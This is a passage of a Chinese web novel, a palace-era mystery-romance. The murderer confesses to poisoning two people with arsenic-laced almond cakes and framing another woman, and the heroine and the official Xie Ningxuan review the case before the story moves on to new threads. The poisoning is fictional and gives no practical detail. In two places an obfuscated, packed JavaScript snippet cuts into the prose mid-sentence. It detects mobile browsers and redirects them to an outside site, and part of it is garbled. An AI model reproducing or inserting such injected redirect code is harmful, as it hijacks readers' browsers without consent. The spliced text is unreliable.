李怀远却怒目瞪向三殿下:“我是想等办完大赛再动手!可是邱子昂说第一个赛程结束,他就要向御青王府提亲,我让他至少等到比赛完,他都不愿意!还让我掌眼挑日子!他还说你,你居然已经对他放下了成见,默许了这桩婚事,来日即将去太后处讨要恩典?岂有此理!” 三殿下眼中都是厌弃,抱着妹妹的手臂紧了紧,没有说话。 第一个赛程就在眼前。李怀远很清楚,时间不多了。 在翻修李府的时候,他清楚的知道这片湖水有多深,也知道这里弯弯绕绕一般人难以摸清路线。于是他在邱子昂高谈阔论时,就已然想好了要让邱子昂葬身湖底。他强忍着怒火敷衍了几句,约好当晚亥时在湖中亭与邱子昂详谈。而且因为提亲一事还没有眉目,他也料定邱子昂不会告诉别人当晚的相约。 他准备了一些杏仁糕,将砒霜混入其中。至于砒霜来源,仅仅源于家中定期的采购。作为主子,他说房中有耗子,拿走一些药耗子的砒霜,谁又会起疑呢? “为什么要做杏仁糕?”我不明白。 李怀远冷冷一笑,看向郡主:“问她喽。她不是学做杏仁糕给他吃吗?那我就让他死在杏仁糕上!” 李怀远的变态,让我打了个冷战。郡主更是吓得发抖,哭的不能自已。 “可你动手的时候,三殿下和林二小姐应该就在旁边的枫叶园。你竟然不管不顾,还是动手了?”谢宁轩冷冷问道。 李怀远阴阴的目光扫过三殿下:“我当时没看清是谁,不过的确有人影。我也确实犹豫了,以为当日无法得手。但是他却自己提出,成功提亲之前不想被别人知道,拉着我走远了一些。这不正合我意吗?天也助我!此时不动手,更待何时?” 他首先和邱子昂闲谈几句,随后便请邱子昂吃杏仁糕。 “他居然刚刚吃过你给他做的杏仁糕,还点评了一下!”李怀远怒瞪着郡主,眼中哪还有半点爱意? “所以我不再犹豫,我眼睁睁看着他吃下,等他捂着喉咙震惊的看着我,我就对他说,让他死掉对你的心,哦,光心死哪够?人死了才一了百了,不是吗?” “你、你疯了!”郡主趴到哥哥怀中,摇着头,无法面对。 我和谢宁轩交换了个眼神,都觉得此人真是无药可救。 眼看邱子昂死后,李怀远就拿出准备好的石块和绳索,将尸体处理好,坠入到湖中。 “完成一切后,你却碰到了林虹玉?” 李怀远眼皮颤了一下,似乎也有一瞬的悔恨。毕竟邱子昂算是情敌,林虹玉,却实在无辜。 怪只怪,林虹玉偏偏当时为了避开三殿下和林二小姐,而惊慌失措的闪躲着。这落在心中有鬼的李怀远眼中,自然就疑窦满满了。 “你既然要杀她,为什么当晚没看着她吃下糕点,放任她走掉?”谢宁轩问道。 李怀远沉默了几秒,叹了口气:“其实,当时我拿不准她看见了什么,我假作和她谈天谈地,博取她的好感。很快,我就发现她是个直来直往的性子,如果真看到了我抛尸,不可能沉住气与我周旋,所以我便没有动手。” “既然如此,又为什么非要送她一块毒糕点?” 李怀远重重锤了拳头到腿上:“当晚我虽然判断她不知情,却也不放心,曾狠心请她吃,可她拿起来只是咬了一层皮,一副不爱吃甜的样子。我便想罢了,无谓牵连无辜之人。可她临走的时候盯着我的食盒看,我又怕她起疑,只好说任她拿块回去品尝,本以为她也不爱吃甜,回去后也就丢了,谁知道她竟然在赛场含着,还死在赛场!引得官府查来查去,坏了我李家大事!” 我默默喟叹,只觉命运弄人。 李怀远的刻意讨好,显然让林虹玉误解了,她心里产生了粉红色的泡泡。在有好感之人面前,她哪好意思大口吃,只咬了一点点皮,尝了尝味道,便搁下了。 这本是命运的垂青,可她还是没能逃过。 临走时,她盯着食盒看,恐怕是满心的少女娇羞,在幻想次日比赛时含着自己仰慕之人送来的糕点拿到个好名次吧。谁知竟就是这枚杏仁糕,断送了自己的性命。 恐怕林虹玉至死还不明白为什么。 不过这总算解释了林虹玉那晚反常的举动,她生气是因为看见了妹妹和三殿下的会面,慌慌张张离开只是怕他们发现自己,却不料被李怀远误会招来杀身之祸。而她回到房中莫名的高兴,自然是以为李怀远翩翩公子对自己有情而激动。 现在看来,她发脾气甩开两个丫鬟的行为,并非刻意为之,大抵只是在碰见闹别扭的寇湘湘后,赌气任性而已。可若当晚一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361266|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直有丫鬟陪同,林虹玉还会丧命吗? 而曾令我怀疑的两名死者不同的处理尸体的方式,一个沉尸,一个却大咧咧任由她自己服下死亡,这矛盾也就能解释了,根本就是因为凶手存了一丝侥幸。 “但你却要嫁祸林二小姐?这又是为什么?” 李怀远未答,只是瞪着谢宁轩,眼神怨毒。 在三殿下把手指捏的咔咔作响的余音中,我和谢宁轩对视一眼,明白了他嫁祸的原因,恐怕正来自宁闻阁那场对话。 林虹玉突然的死亡,将李怀远吓坏了。好在他做得干净,没留下任何蛛丝马迹。可他心是不安的。所以当他在宁闻阁无意中听到我们怀疑林二小姐,便以为可以无声无息嫁祸给姐妹关系有嫌隙的妹妹。 “听到她们姐妹二人竟然还有那么多的矛盾,我真的以为又找到了个生机。你们定会抓着林二小姐这条线索细查。那天在宁闻阁,”李怀远还是叹了口气,“我便顺手抄走了她的一支簪子,以作万一时用作嫁祸她的铁证。” “因为在你的计划里,邱子昂的尸体短时间不会出现,而你和林虹玉素无往来,我们无论如何也查不到你头上,对吗?” 李怀远坐在地上,沉默着不说话。 事实上,他盘算的也没错。表面看,除掉林虹玉能获利最大的,的确是林二小姐。且其久病,自称未出门,却也只有贴身丫鬟一人作证。 在他的视角,邱子昂的尸体静静沉在湖底,根本不会被发现。那么,在林虹玉之死中,林二小姐是无论如何难以洗脱嫌疑,毕竟他不知道她实际有个强力的不在场证人。 发生在绣花大赛的恶行,一定是问斩的结局,一切便可尘埃落定。即便邱子昂的尸体日后再被发现,死亡时间早就模糊,湖中的簪子更是佐证。林二小姐已被处死,谁还会追究呢?人们只会以为邱子昂是撞见林二小姐的罪行而被灭口。 如意算盘打的是好,可惜天公不作美,邱子昂的尸体脱落了石块,只两日功夫便浮了上来。 “我、我吓坏了。”李怀远捂住了脸,“我实在没有办法,太怕你们查到我身上了。刚好我又听见,你们还在怀疑她,所以、所以,我才把簪子丢进了湖里,想要坐实她的罪行。” “嫁祸霜玉……”三殿下太阳穴的青筋都爆了出来,“你为了自己,就枉顾他人的性命。你已经失了心智,失了良心了!不要再说你爱慕姝儿了!你若真是对她有意,你又怎么会对她下手!” 李怀远还没有说话,谢宁轩先寒声道:“他杀阳远,可不光是得不到就毁掉那么简单,更是因为灭口自保吧。” 没错,因为此时此刻下手杀人,分明代表,李怀远是认为郡主掌握了指证他的线索,这才狠下了心。 毕竟当我们查出林二小姐的不在场证明时,李怀远就会很清楚,那个簪子的存在,迟早引火烧身。 李怀远悔怒交夹,想起他和郡主一同去林二小姐房中时,郡主似乎看到了那支簪子。簪子将会成为指正他的有力证据,他只恨自己不该自作聪明嫁祸林二小姐,但却已无可奈何,只能硬着头皮撑下去。 反正郡主也对自己没意思,在得知邱子昂死后已经找自己哭过好几次,言语中总是兄妹相称,这已经让李怀远非常不满,现在郡主还随时可能指证自己,李怀远再也无法忍耐,决定将郡主杀掉。 我盯着地上那张纸,他竟然还伪造了遗书。对他来说,一个不爱自己的女人,死了也罢。 只能说心中有鬼,永远无法做到敞亮。其实我们查了这么久,李怀远一直都没有出现在我们的怀疑名单里。若不是他自作聪明,作茧自缚,还真难抓住他的尾巴。 想起那日在酒家我还曾帮李怀远逃过一劫,真是老天不公啊。这样的人活了下来,却害了两个无辜的人,还差点一并害死了郡主。 三殿下更是郁郁,毕竟李怀远毒杀邱子昂的时候,自己就在不远处的枫叶园。可是他又如何能料到,一直交好的看似正人君子的李怀远,竟然是这样阴狠毒辣之人? 42.吃醋 李怀远被押走后,三殿下对谢宁轩表达了谢意。 谢宁轩却直言道:“还是感谢羽书吧,今天若非她第一时间想通一切冲来桃花畔,恐怕我们来不及救下阳远。” 郡主眼睛都哭肿了,听了这话,还是朝我福了福身:“王妹妹,今天真的要多谢妹妹了,否则我恐怕已经……” 她摸了摸脖子上的红肿伤痕,眼泪再度决堤。 我看着也不是滋味,忙摆摆手:“没事没事,还好赶得及。再说了,也不是我一个人的功劳啊,呐,”我伸手指向谢宁轩,“得感谢他跑得快呀。” 谢宁轩眼风扫过来:“合着我就这点用处?” 三殿下脸色微霁,上前朝我郑重地拱了拱手:“王姑娘切莫自谦,今天的确是姑娘大恩,我和姝儿当铭记于心。不知姑娘可有什么需要我们兄妹帮忙的,请随时知会,我们兄妹定全力以赴。” 不至于吧,我其实也没做什么啊。 谢宁轩却替我应了下来:“这京城贵人如云烟。就她这性子,我看总有一天会冲撞到不该惹的人,不如你们……” 这话我听得就不乐意了,但当着三殿下兄妹的面,只能小声抗议:“我性子怎么了?你别瞎说!” 自进屋后一直黑着张脸的三殿下总算露出了些许笑容:“性格很好,有主见,聪慧敏锐。” 郡主从哥哥怀中探出头,饶是脸上还挂着泪,也忍不住咧嘴:“可惜咱们大青朝不像前同朝设有女捕快,否则啊,王妹妹一定是最拔尖的一个。” 我对这恭维颇难为情,羞赧一笑,余光中,谢宁轩正目光凿凿。 “我朝没有这先例……”三殿下看了眼谢宁轩,复又朝我笑,“王姑娘啊,若是你愿意,不如屈尊当我义妹吧?” “义妹?”我一怔。 郡主从哥哥怀中探出头,捧场道:“我看可以!” 这就有些夸张了,我赶忙拒绝。三殿下兄妹还要再说,那厢浮生进来了,说逮捕现场由于太突然没有防护,现在李府上下都传遍了,得谢宁轩前去处理。 谢宁轩也没工夫东拉西扯了,先赶紧说起进宫禀告案情的安排。 “明早就入宫吧,李怀远毕竟是茹妃的兄弟,此事宜早不宜晚。” 三殿下赞同:“我们陪你一道。姝儿,还是由你出面,作证洗脱霜玉的嫌疑。你痛斥李怀远的罪行,圣上也多些怜惜。免得茹妃求情,着意开脱,那就难偿还死者公道了。” 郡主点点头,顺从的答应了。 我却有些疑问:“可是李怀远看到了郡主和邱子昂同行,郡主又如何能作为林二小姐的不在场证明?” 谢宁轩成竹在胸:“李怀远就算是茹妃娘家人,到底门楣不高、官职也小。区区杀人案,若不是发生在绣花大赛赛场,圣上都不会过问,更不会提审。郡主自小在皇宫长大,圣上和太后对她极为呵护,她遇到此等伤害,圣上定然非常震怒。这件事情只要明面上圆了过去,我自会让它平稳落地。” 好吧,你们仨宗室,你们说了算。 随着案件告终,原本指骂林二小姐的闺阁小姐们一个个傻了眼,之前给李怀远递过秋波送过香囊的更是吓得不轻,在解除封锁后,纷纷第一时间逃离了李府。 诺大的、华丽的李府,几日前还热闹喧嚣、佳人公子齐聚的圣地,转眼便已寂寥。 我和谢宁轩前后脚踏出府邸大门,都难免唏嘘。 驻足侧目片刻,谢宁轩打破了沉默:“说起来,你怎么知道李怀远对阳远有意?” 嗨,这还用说,女人的直觉呗。 不过我这直觉,也不是百分百的准。比如,那时在宁闻阁院中,看见李怀远的神情,我竟一度以为他爱慕的人是林二小姐。再加上李怀远说邱子昂和郡主是兄妹之情,我就还真的被他糊弄过去了。 但簪子的环节一想通,这还不明了吗?李怀远为什么做这一切?为什么误导我们?只可能因为,他爱慕的人根本就是郡主。强调“兄妹之情”,无非是他打心眼里,也是这么希望的。 我又想起浮生提过的一桩八卦,过桥时李怀远殷切护着郡主,不也正是他心思的体现吗? 谢宁轩眼眸深深:“簪子,仅凭一个簪子,你就想到了阳远有危险?” 我耸耸肩,心说你不也一样。 我忆起见过簪子的时间和地点后,立即盘算了一下见过簪子的人。案发后到簪子被发现,短短一日只有五个人到过宁闻阁。我和谢宁轩自不必说,金宝鸯有不在场证明,那么,能怀疑的对象只有李怀远和郡主。 但别说郡主作案实在推理不下去,就算此案与郡主有关,她何必要陷害哥哥深爱的人。何况,我和谢宁轩从未在郡主面前提过对林二小姐的怀疑,她也就不可能想出顺水推舟陷害的手段。 而李怀远则不然,不仅听到了我们的讨论,而且,他也有极强的作案条件。 何况,在邱子昂那晚的行踪中,盘问虽然无果,但其实有目击者无意中提及,是见过李怀远出现的。 谢宁轩偏头瞧我:“那个丫鬟所说的,‘大少爷来巡查的时候吩咐别误了时辰’?” 没错,丫鬟只是如实还原当晚的实情,但却误打误撞揭露了李怀远的嫌疑。 丫鬟听了吩咐就出发,没几步就看到了郡主与李怀远同行。换句话说,站在不远处的李怀远,不也能看见吗?那么,跟在邱子昂身后,递出毒杏仁糕的,也完全可以是他啊。 除此之外,其他很多关隘,原本矛盾、疑惑的点,一下子也都能解开了。 比如我们曾经想不通凶手怎么会了解李府的构造,作为主子,李怀远自不必说。 还有一点,我其实一直也隐隐觉得蹊跷。便是那次打捞持续的时间。按理说尸体捞上来了,还坚持打捞个什么劲?那可是湖泊啊,哪有那么容易打捞?可打捞的人却坚持不懈,似乎早就知道湖水里有线索。 谢宁轩弯了弯嘴角:“你也注意到了啊。” 咦,原来他也留意了呀。 我心中一动,面上不显,只继续说:“这几个线索下来,全部指向了李怀远,但当时触发我思绪的主要还是簪子。也就在那一刻,我联想到,李怀远一定也会胆寒于那只簪子,那所谓指证林二小姐的铁证。” 那日我与谢宁轩在宁闻阁没呆多久,而金宝鸯因为是林虹玉的朋友,平素都没怎么理过这个妹妹,所以当日也只是略坐了坐。也就是说,当李怀远意识到簪子将会成为指证他的证据时,他最先要确保闭嘴的人,自然是一直陪着林二小姐,有最大可能见过、留意过那支簪子的郡主。 所以我才想到郡主有危险,立刻就赶去救郡主了。 谢宁轩的神色如常,唯眼中写满了欣赏。 “说起来你也很厉害啊。我只不过说了一句‘簪子在房中’,你就立马明白了,登时拉着我去救人,反应速度真快。” 这是真心佩服。谢宁轩没见过簪子,猜不到这一切也很正常。但他思维实在敏捷。这家伙,脑子好使,还生的一副好皮囊,还真是……喂喂喂,你盯着我看干什么? 谢宁轩跨步上前挡住了我的前路,我看着他透亮的眸子、微 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谢宁轩往前挪了一小步,站到了我的呼吸之间。他莞尔轻笑,带着些许狡黠:“羽书猜的可真准。前两次我都拒绝了,是因为我忙于公事,暂不考虑成家,也对金小姐没有其他想法。不过……” 他微微拱了腰,俯身与我平视着,眼眸锁着视线,无处可躲。 “侍郎夫人若是来第三次,我拒绝的理由,或许会有些变化。”——他的声音是不是被施了魔法?为什么我心头战栗起来?——“羽书不妨猜猜,这次是什么理由?” 我一定是坐在过山车上,心口交织着各种各样的情绪。然而临到高点,我却吞掉了呐喊,只哑声闪躲。 “我、我干嘛要猜……”拙劣的避开眼神,我在说什么,我自己都不知道。 对面的人却没有失望,谢宁轩嘴角的笑容似是更深,他幽幽道:“我以为羽书好奇心重,不会放过任何疑点。” “呵呵呵呵那是查案,你这又不是什么大事。” “哦?”谢宁轩挑眉,语气谆谆诱诱,“是吗?羽书心中,查案是一等一的大事吗?” 那一瞬,我以为他要问我,难道他的事,于我来说不重要吗?但没想到,他问的却是“查案”。没来由,眼皮猛地一跳,关于他在这桩案子中的奇怪行径,再次浮现在我心头。 我也没藏着掖着,打直球:“为什么在意我查不查案,为什么要带我查案?这不合规矩,不是吗?你到底……在想什么?” 谢宁轩直起身子,不再凝视着我,而是眺向了远方。嘴角是他一贯轻描淡写地笑,他并没有回答。 没过几日,圣旨下来,李怀远罪大恶极,秋后问斩。这起凶杀案成了坊间热议,不过谢宁轩管理严格,李怀远的杀人动机没有泄露。一时间,各种猜测尘嚣甚上,多离谱的都有。 郡主在这件事中可谓无辜受牵连,回府后夜夜难眠,在皇宫真情实感的大哭了一场,太后心疼的不得了,留她住了好几天,好生抚慰。 林二小姐也被波及的病情加重,到离府那日也没起色。不过因祸得福,林府偏心大小姐虐待二小姐的事情传得沸沸扬扬,又因林虹玉之死,林府也就这么一个嫡出小姐了。林二小姐由三殿下亲自送回府中,其中意味不言而喻,林府这下彻底扭转了心态,不再冷落疏忽二小姐。 这些消息陆陆续续传到我的耳中,都有些滞后了。因而这天被老爹拎去齐王府拜见巡查归来的王爷时,我也不忘与管家八卦。 正说着李府祖上的丰功伟绩,感慨不肖子孙连累为官的父亲也降级外迁时,对面的连廊下忽然传来一声惊呼。 43.金华来信 “哈!太好了!你找到这古本了!”是二公子的声音。 我们齐齐循声望去,就见二公子站在对面游廊,正和一个男子说话。那人穿着绣银边蓝色长衫,腰间配饰繁复,一看也是个世家公子。 他微笑道:“你喜欢就拿去,我还找到了两三本,回头你看完咱俩再换。” “行啊!”二公子盯着古本翻来覆去,兴高采烈,满足之余他又想起自家也有存货,忙道,“诶,上回我给你提的那本《公羊传》,我哥终于把古本给我了,下午我差人送到你府……咦,羽书妹妹,你来啦!” 他眉飞色舞的朝自己屋子方向扭头,刚好看见花园小路上走着的我们。 老爹立即堆笑,比管家更快一步上前:“二公子今日怎么有闲?也是特意来瞧王爷的吧。这位是……” 二公子持书轻摆衣袖,笑道:“这是方家公子。向杰,这位就是王副官,你知道的,我父王的心腹。呐,那是我羽书妹妹,王伯父之女,刚从家乡金华上京。” 方向杰先是朝我爹略拱了拱手,彬彬有礼道:“早听说副官大名。” 寒暄一句,他又向我点头示意,称赞道,“金华可是富庶的鱼米之乡,听闻山川秀美,景色宜人。难怪王伯父睿相,小姐钟灵毓秀。” 夸赞得宜,礼数到位,看起来是个端方君子。我自然也福身回礼,心里却在想,这人好像有些眼熟,似在哪里见过。 一旁的老爹很高兴,谄媚的笑意更深。然而不等他再开口,忽然,一个丫鬟撞了过来。 我们一行人正站在游廊与花园小路的拐角,丫鬟低头端着盘子,没留神就直直撞上了最外间站着的方向杰。盘子上的茶壶茶杯全倒,泼湿了后者的衣衫下摆。 众人吓了一跳,管家最先反应过来,立即喝道:“怎么搞的,莽莽撞撞!” 丫鬟也吓坏了,战战兢兢着跪下。 方向杰低头看了看衣摆,也不甚在意,温和地说:“没事,回去换一身衣服……” 可丫鬟还是惊慌害怕呀,竟拿出帕子,朝方向杰衣摆伸出,似是想擦拭。 说真的,这一幕也稀松平常。然而蹊跷的是,方向杰却脸色大变,一把拂开了丫鬟的胳膊,后退两步,语气突兀转折,厉声喝了句:“别碰我!” 原本和缓柔善,骤然风急雨大。我都看懵了。 管家亦马上呵斥:“谁准你碰触方公子了!还不快滚下去,你什么身份啊,也敢沾方公子的身!” 随后,他又堆笑着赔罪,“方公子啊,真是不好意思,这新来的丫鬟毛手毛脚……” 二公子也沉下脸,甩出一句:“不是吩咐过,向杰来时,丫鬟都退远些吗?” “是是,这丫鬟新来的……” “好了,”方向杰冷脸打断了管家的解释,朝二公子简单说道,“宁辕,书我送到,就先告辞了,明天书院见。” 语毕,他没有再看我们任何一个人,拱手转身就离去了。 这前后变化也忒大了。老爹和我一样诧异,不由咋舌:“他、他怎么了?” “嗨,方公子一向不喜丫鬟近身。是老奴疏忽了,没交代新来的这批。”管家回答,一面朝丫鬟挥挥手,“记住了,方公子与其他客人都不一样,绝不可以近身接触,别想着攀附!” 攀附?不至于吧,丫鬟刚只是条件反射的好心擦拭啊。 我这么想着,丫鬟也在委屈的小声辩解:“奴婢,奴婢没有……” “行了,收拾了下去吧。”二公子已不耐烦的拂袖,复又嘟囔一句,“向杰性子扭得很,讨厌女子近身。也不知道咋了,这一两年都这样。” 讨厌女子近身? 脑中飘来一个画面,也是一个突然翻脸、决绝离开的背影,骑马而去,留下农家父女俩风中凌乱。 啊,我想起来了。 当日进京路上,我和谢宁轩在马车上见到的场景,不就是个对衣衫褴褛的老人礼貌有加的公子,伸手扶起接触都没有表现反感,反而在青春碧玉的少女不慎靠近时,躲到八丈远吗? 此人方才无论对我,还是对丫鬟不慎泼茶那一刻,都表现得温文儒雅。情绪彷佛就是在丫鬟碰触到衣衫的那一瞬才转变的……还真是讨厌女子近身啊?奇怪。 老爹试探着问:“姓方……他是不是户部方尚书之子啊?那个因醉酒错过上届科举的公子?” “是他。”二公子眉头蹙起,又解释道,“不过他不是那种不学无术的纨绔啦,他、他……哎,我也不知道他咋了……行了,不说他了。” 老爹最是圆滑,忙借坡下驴:“是是,上届荒唐了,立马修身自省、清夜扪心,是正途、是正途呐。” “听说方府都遣散了不少丫鬟呢,呵呵呵呵。”管家也赔笑附和。 二公子潦草的点点头,忽又一拍脑袋,似是发现了大事,朝我看来,一双瑞风眼瞪得浑圆:“哎呀,说到丫鬟,我咋忘了差遣几个去你家了!” 咋又突然说起这个了。我赶忙摇手:“不用,我……” “没有丫鬟哪行,怎么,你那个跑路的丫鬟回来了?可问清楚了,你怎么就落水了?” 你说橙橙?嗨,那估计是难了。 昨天我收到了金华寄来的第一封回信,祖母尚未调查出什么结果,回信也只是将已有信息汇总罢了。 原主八年前离京时,齐王府派出两个年长的丫鬟陪同。三五年后,二人到了婚嫁年纪,一个放回了京城,另一个便在当地婚配了。 在这之后,祖母亲自挑选的两个丫鬟则成为了原主身边的大丫鬟,分别叫做橙橙与梨梨。前者是孤儿,无亲无眷,后者出身自王家的佃户,知根知底。相同的是,二人均机灵懂事,对原主尽心尽力,忠心不二。 此次回京消息传出后,对于远离家乡,梨梨早早就开始收拾,没有半句不情愿。倒是孤身一人的橙橙刚开始有过犹豫,王宅在这方面颇通人情,并没有坚持让她陪同。但是后来,橙橙想通了。反而是临行前,梨梨染了重病,未能成行。 祖母不放心这一路,原主身边只有一个丫鬟照顾,便还安排了另三个小丫鬟、四个小厮陪同着。这七个人,也选了王宅的家生子。可以说,这个部署非常周全了。 因此,当祖母收到信得知孙女落水失忆,身边下人竟一个不在后,极为震怒。立即派人去庄子上拿人,但截至回信寄出日,也只找到他们的家人。 蹊跷的是,这七个人的家人都在庄子上好好生活着,对王宅派来的人一问三不知,表现得极为茫然,似乎并未牵涉其中。而橙橙,本就无亲无眷,自然寻不到任何踪迹。 看到此处,我很是诧异。 信中描述,橙橙与原主多年主仆,一向亲密。本就孤儿的她,在原主上京前,为什么较有亲眷家人的另一丫鬟犹豫不情愿,是金华还有什么牵绊着她,让她不想离去吗?既如此,又为何改变心意?此种改变,会与本次的背叛有关吗? 还有,其他人既然都是家生子,当知谋害主子,王宅不会放过她们的家人,那又为何要背叛?祖母明明说这七人均是她亲自挑选,又怎么可能这么快串通一气? 现在,橙橙与另七个人,又身在何处呢? 金华已经收到了我平安抵京的消息,那么,还会有人对我下手吗? 如果杀机来自金华,会锲而不舍的追来京城吗? 如果杀机就在京城呢?之前谢宁轩分析说不可能因为原主自身。那么,会否因为老爹?有人对老爹不满,发泄到原主身上? “羽书妹妹?问你话呢!” “啊?哦,那个……”我从思绪中抽出来,不欲详说,只得强硬的转移话题,“诶,对了,你这会儿怎么没在书院?听说你们马上大考了呀。” “我都在书院呆了多久了?绣花大赛都没去成!听说出了命案,羽书妹妹,没吓到你吧?”见我摇头,二公子又摊摊手,“这不是父王回京了嘛,难得今日也有一天假,我来给他请安。” “你在书院好好学习,这次年考取得好成绩,比你回家,更让他高兴。” 身后传来声音,我回头一看,是谢宁轩着官服,正款款走来。挺拔纤长,如圭如璋,白皙皮肤在深绯色官服映衬下越发细腻。 我偷偷瞄着,主角却在训斥弟弟。 “哎呀,哥,别教训我了,我这几天背书都累死了。” “背书自然是累的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370057|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这点苦都吃不了吗?” “哎呀,我知道啦,就是抱怨两句嘛。” 谢宁轩刮他一眼:“叫父王听见,可有你好受的。” 二公子扁了扁嘴,还要挣扎,谢宁轩却不理他,反而扭脸上下打量我,露出了梨涡:“羽书,你今天这打扮……嗯,太隆重了吧?” 隆重,呵呵,算你委婉。 知道今天王爷归来,老爹卯时不到就把我薅起来了,又麻烦人家王婆梳了一遍又一遍的发髻。等我昏昏欲睡被拾掇好,早饭都没吃,就被拎来了。 “羽书妹妹,你今天这发髻,这裙子……” 行了行了,我知道丑。老爹的审美,是真的不及格。就这一身装扮,我站在广场舞大军里,都毫无违和感。 余光扫到老爹和管家叙话,我低声吐槽道:“别瞅了,还不是为了见你父王。我爹早上让我换了六身裙子!” 二公子哈哈大笑:“换了六身,挑了最丑的一身!哈哈哈哈!” …… “好了,别闲话了,父王应该在厅中了。”谢宁轩瞥一眼我那翘首望向厅堂,直跟个望夫石一般的老爹,轻声道。 二公子闻言也收起了说笑,伸手招了个丫鬟,将手中古本递出,让她先送回自己院中。 趁着这机会,我低声将方才的怀疑告知谢宁轩。 后者却摇头:“针对令尊?不太可能。令尊素日跟在父王身后,出谋划策时从不出头,也甚少发表尖利的明显有针对性的意见;仵作工作时兢兢业业,和府衙众人关系处的都很好。何况,虽然令尊早向大家说过女儿要回来,却从未提及路线及抵达的准确时间。哪个仇敌能掌握那么多?有这能耐,直接对令尊下手不是更好吗?” 话说至此,刚好我们也走到了王爷书房,老爹已经先行进去了。屋里传来他狗腿儿的赔笑声,彩虹屁一波接着一波。 谢宁轩眼风飞来:“呐,你说,令尊这个性格,他能得罪谁啊?” 行吧,有道理。这不,在老爹的鼓动与吹捧下,我拜见王爷的流程也得以顺利进行。 齐王爷约和老爹差不多的年纪,却肌肤紧致、英气清朗,一看就是养尊处优久了。他身穿藏蓝色团蝠袍,一双眼睛极具穿透力,虽带着笑意,但仍然很有压迫感。 我倏地意识到,谢宁轩的眼睛长得真像他爹,倒是二公子,还有些其他韵味,可能更像王妃。 许是见到曾在膝下玩耍的小姑娘都长大成人了,王爷也多了些许感慨,与老爹忆起往昔。 我这才听出来,原来在回归皇室前,王爷过的也是无拘无束、今朝有酒今朝醉的快意生活,一帮子朋友走南闯北、行侠仗义,以天为盖地为庐,要多自在有多自在。 而且,似乎当时,王爷有过一个女人。 说这话的时候已在午膳席间,不出谢宁轩所料,二公子果然被王爷训斥,赶回了书院。而谢宁轩刚刚落座,就接到下人通报有急事,又匆匆而去。 盯着谢宁轩远去的背影,老爹忽地感慨:“谢府丞真的太有出息了,听闻圣上对绣花大赛案摧枯拉朽的完结极为满意?或又要升迁了?” 王爷没有说话,只是看向窗外。 老爹话音似都轻了:“他娘在天之灵,会骄傲的。” 随后便是漫长的沉默,我筷子都不敢动了,偷偷一觑,竟发现王爷眼眶湿了。耳旁响起微弱的惋惜:“若是不找回身份,她就不会离开我了。” 老爹飞快地瞥了我一眼,轻咳两声,转移了话题。 我多余地很明显。 直到出了王府,我依旧摸不着头脑,唯能确认一点,便是谢宁轩的母亲果然不是王妃,亦不是王府中的某个妾室。她存在于王爷遗珠之时。 那现在呢,她可还在世上?观谢宁轩与二公子相处,兄弟俩感情倒是和睦。我又想起在李府,那位惹得谢宁轩变脸的中年命妇,曾说过一句“令堂极其担忧”,结合前后文,指的应该是王妃。这么说,王妃对谢宁轩也颇为照拂了? 我胡思乱想的往家漫步,走到繁华的五魏街时,头顶上却乍然传来一声唤:“王妹妹?那可是王妹妹?” 循声一望,竟是阳远郡主倚在窗边。 44.四年前 “郡主?”我诧异道,又见窗户中另一颗脑袋也冒了出来,“林二小姐!” 阳远郡主欣喜的笑:“哎呀好巧啊,碰到你了!你干嘛呢?怎么一个人在街上?” “我、我那个,我回家啊。” “回什么家嘛,天气这么好,来来快上来,咱们姐妹喝喝茶,待会逛街去!” 我侧目一瞧,这才看清旁边正是一家茶庄。 “别东张西望,快点上来啦!” 郡主发话,谁敢不从?于是我乖乖进了茶庄二楼,就见郡主与林二小姐已经点了一桌子糕点茶水,正含笑看向我。 郡主穿着柳叶细纹裙,搭配着翠玉头饰,整个人神采奕奕、利落飒爽。她上前拉过我的手,熟捻的问:“王妹妹这是从哪来啊?怎么一个人在街上走,也没带个丫鬟?” “哦,我刚和我爹去拜见了齐王爷了。”我简单作答,细细观察了郡主的眉眼没有蕴藏悲伤,这才放松下来。 走出来了,看来是从阴云中走出来了。也是,这都大半个月了。 郡主大大方方的笑:“哥哥说了,过去的事无法改变,多想无益。我,”她略垂下眼睫,开口依然是利落的,“我也不该为了别人的错伤害自己,不是吗?” 真好,这样一个大而化之、欣欣向荣的性格。 “何况,你瞧霜玉妹妹,如今身子骨大好,我当然要为她高兴啦!” 说话间,林二小姐也走出来迎接我,虽仍有扶风弱柳之姿,脸颊却饱满红润许多,果真气色大好。 她朝我福了福身,柔柔道:“王姐姐,好巧。之前的事,妹妹一直想登门致谢,无奈郎中叮嘱少吹风,这才没能成行,姐姐莫怪。” “别客气,别客气,我没做什么,哪值得登门啊。”我摆摆手,“调理身子重要,二小姐痊愈了就好。” “哎呀,你俩好生客气,”郡主听不下去了,“你还她清白,她该谢你的。你就叫她霜玉吧,一直叫‘二小姐’,多见外呀。” “是,我得敬姐姐一杯呢。”林霜玉挽住我的胳膊,拉我走入雅间中,端起了桌上的茶杯,“此处唯有以茶代酒,姐姐见谅呀。” 我连忙也举起茶杯,就听郡主抿嘴笑:“行了,今天喝茶足以,还怕后面没有敬酒的时候?等你入我御青王府的大门,你再好好敬她就是。” 林霜玉脸上飘起片片绯红,轻嗔一句:“郡主姐姐!” 